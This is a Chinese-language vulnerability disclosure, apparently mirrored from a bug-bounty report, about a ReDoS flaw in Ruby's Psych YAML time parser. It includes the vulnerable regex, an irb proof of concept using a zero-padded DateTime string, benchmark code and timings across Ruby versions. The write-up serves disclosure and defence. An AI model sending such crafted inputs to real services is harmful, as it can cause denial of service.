Ruby Psych库中的正则表达式拒绝服务(ReDoS)漏洞分析

本文详细分析了Ruby Psych库中存在的正则表达式拒绝服务(ReDoS)漏洞,包括漏洞原理、PoC代码、性能基准测试结果,以及在不同Ruby版本中的表现和修复情况。

Ruby | 报告 #1487889 - Psych中的ReDoS漏洞

漏洞描述

在Ruby的Psych库中发现了一个正则表达式拒绝服务(ReDoS)漏洞,该漏洞存在于Psych.load方法中。

技术细节

漏洞位置

漏洞代码

1
2
3
4
5
6
7
8
def parse_time string
  klass = class_loader.load 'Time'
  date, time = *(string.split(/[ tT]/, 2))
  (yy, m, dd) = date.match(/^(-?\d{4})-(\d{1,2})-(\d{1,2})/).captures.map { |x| x.to_i }
  md = time.match(/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/)
  
  (hh, mm, ss) = md[1].split(':').map { |x| x.to_i }
  us = (md[2] ? Rational("0.#{md[2]}") : 0) * 1000000

正则表达式 /(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/ 存在漏洞。

验证工具

该漏洞是通过recheck工具检测发现的:https://makenowjust-labs.github.io/recheck/

PoC代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

 irb
irb(main):001:0> require 'yaml'
=> true
irb(main):002:0> require 'date'
=> true

irb(main):003:0> YAML.dump(DateTime.now)
=> "--- !ruby/object:DateTime 2022-02-22 06:43:52.577591000 +09:00\n"

irb(main):004:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime])
=> #<DateTime: 2022-02-22T07:02:07+09:00 ((2459632j,79327s,96315000n),+32400s,2299161j)>

irb(main):005:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
# ReDoS发生!
=> #<DateTime: 2022-02-22T09:00:00+09:00 ((2459633j,0s,0n),+32400s,2299161j)>

性能基准测试

测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
require 'benchmark'
require 'yaml'
require 'date'

def datetime_parse(length)
  text = "--- !ruby/object:DateTime 2022-02-21 " + '0' * length + '00:0Z0:0:0'
  YAML.load(text , permitted_classes: [Time, DateTime])
end

Benchmark.bm do |x|
  x.report { datetime_parse(100) }
  x.report { datetime_parse(1000) }
  x.report { datetime_parse(10000) }
  x.report { datetime_parse(100000) }
end

测试结果

1
2
3
4
5
6
❯ ruby datetime_benchmark.rb
       user     system      total        real
   0.000215   0.000212   0.000427 (  0.000422)
   0.002306   0.000005   0.002311 (  0.002314)
   0.219717   0.000125   0.219842 (  0.219844)
  21.904961   0.041427  21.946388 ( 21.946604)

影响范围

当允许DateTime反序列化时会发生ReDoS攻击。由于攻击字符串永远不会匹配TIME的值,影响有限。

版本差异

Ruby 3.2.0

ReDoS问题已修复:

1
2
3
4
5
6
7
# Ruby 3.2.0
❯ bundle exec ruby datetime_benchmark.rb
       user     system      total        real
   0.000461   0.000594   0.001055 (  0.001286)
   0.000154   0.000005   0.000159 (  0.000159)
   0.000864   0.000004   0.000868 (  0.000878)
   0.008076   0.000112   0.008188 (  0.008203)

Ruby 3.3.0

ReDoS问题重新出现:

1
2
3
4
5
6
7
8
9
❯ ruby -v
ruby 3.3.0 (2023-12-25 revision 5124f9ac75) [arm64-darwin22]

❯ ruby datetime_benchmark.rb
       user     system      total        real
   0.000232   0.000202   0.000434 (  0.000432)
   0.001668   0.000001   0.001669 (  0.001669)
   0.159783   0.000738   0.160521 (  0.160610)
  16.068381   0.082545  16.150926 ( 16.178969)

修复状态

  • 2024年1月11日:确认在master分支中回归问题已解决
  • 2025年6月3日:由于Ruby 3.1已结束生命周期(EOL),不再为此版本发布新修复
  • 报告状态标记为"已解决"

相关研究

其他gem中的ReDoS研究结果:https://gist.github.com/ooooooo-q/88ad0911c45571389170c41cb403a2f7

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计